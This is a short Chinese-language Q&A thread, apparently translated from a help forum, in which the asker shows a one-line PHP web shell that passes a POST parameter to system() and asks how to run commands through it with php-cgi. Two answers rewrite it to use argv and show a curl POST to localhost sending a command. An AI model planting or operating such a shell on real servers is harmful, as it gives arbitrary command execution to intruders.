我的文件内容:
$ cat z-cmd.php
<?php system($_POST['z']); ?>
我尝试过的:
$ QUERY_STRING='z=touch plm' php-cgi z-cmd.php
X-Powered-By: PHP/5.6.36
Content-type: text/html; charset=UTF-8
<br />
<b>Warning</b>: system(): Cannot execute a blank command in <b>/home/jeremy/z-cmd.php</b> on line <b>3</b><br />
如何使用 z POST 参数运行命令?
答案1
使用$argv
数组,其默认定义。$_POST
不能在 cli php 应用程序中使用。
应该z-cmd.php
是这样的(请注意$argv[0]
包含文件名本身‘z-cmd.php’):
<?php system($argv[1]); ?>
对于命令,你可以使用下面的其中一个
$ php-cgi z-cmd.php 'touch plm'
$ QUERY_STRING='touch plm' | php-cgi z-cmd.php $QUERY_STRING
答案2
我确切地知道这是从哪里来的。:)
这是一个有帮助的例子:
curl --data z='touch test' 127.0.0.1/z-cmd.php